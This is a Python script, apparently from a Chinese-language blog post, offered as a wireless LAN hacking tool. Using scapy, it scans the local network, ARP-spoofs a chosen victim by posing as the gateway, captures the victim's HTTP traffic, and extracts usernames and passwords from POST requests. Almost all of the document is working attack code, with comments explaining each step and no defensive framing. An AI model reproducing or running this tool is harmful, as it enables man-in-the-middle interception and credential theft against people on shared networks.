#無線局域網黑客工具
from scapy.all import *
import os
import time
import re
from threading import Thread
#獲取上網的ip和網關
route=os.popen("route print").read() #route print 命令顯示本機的路由表
gateway,ip=re.search(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s+(\S+)",route).groups()
#seach匹配一次,groups函數將所有匹配結果都取出,group函數的區別
print("本機ip:",ip)
print("上網網關:",gateway)
rdict={}
#在局域網內進行主機發現
def scan():
global rdict #使用全局變量rdict
IpScan = ip+"/24"
print("掃描中,請稍候...")
ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0,iface="Intel(R) Wireless-AC 9462")
print("本次掃描一共掃描到%d臺主機:" % len(ans))
for send,recv in ans:
print("%s----%s"%(recv.src,recv.psrc))
rdict[recv.psrc] = recv.src
def cap(ip,tc):
pkts=sniff(iface="Intel(R) Wireless-AC 9462",filter=f"tcp port 80 and src host {ip}",timeout=tc)
wrpcap("demo.pcap",pkts)
print("攻擊完成!")
def spoof():
vict=input("要攻擊的ip:")
st=int(input("攻擊時間(秒):"))
t=Thread(target=cap,args=(vict,st))
t.start()
for i in range(st*5):
sendp(Ether(dst=rdict[vict])/ARP(pdst=vict,psrc=gateway),verbose=0,iface="Intel(R) Wireless-AC 9462")
#pdst=vict,psrc=gateway ,這裏將源地址改爲網關地址,用來欺騙目標主機,讓它認爲我是網關
#sendp(Ether(dst=rdict[gateway])/ARP(pdst=gateway,psrc=vict),verbose=0,iface="Intel(R) Wireless-AC 9462")
time.sleep(0.2) #每隔兩秒發送一次欺騙包
def mima(): #對獲取的數據進行分析(可以更改過濾條件來分析不同的數據包)
pkts=rdpcap("demo.pcap")
for p in pkts:
if p.haslayer(IP) and p.haslayer(Raw): #取出每一個含有原始數據的IP數據包
try:
inf=p.load.decode(errors="ignore") #取出數據包裏的p.load字段數據
if inf.startswith("POST"): #判斷數據是否以POST方式提交
url=re.findall(r"Referer: (.+)",inf) #取出所有Referer字段後的網址
if url:
print(time.ctime(p.time)) #用p.time取出p中的時間字段,time.ctime以我們能看懂的格式輸出
print(url[0])
print("用戶名:",re.search(r"[uU]serName=(.+?)&",inf).group(1)) #用正則表達式取出需要的信息
print("密碼:",re.search(r"[pP]assWord=([^&]+)",inf).group(1))
except Exception as e:
print(e)
pass
def main():
while 1:
print("功能列表:")
print("1 局域網掃描")
print("2 ARP攻擊")
print("3 密碼分析")
print("4 退出")
while 1:
sel=input("你的操作:")
if sel in list("1234"):
break
print("輸入有誤!")
if sel=="4":
exit()
elif sel=="1":
scan()
elif sel=="2":
spoof()
else:
mima()
print("再見!")
if __name__=="__main__":
main()
無線局域網嗅探小工具
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.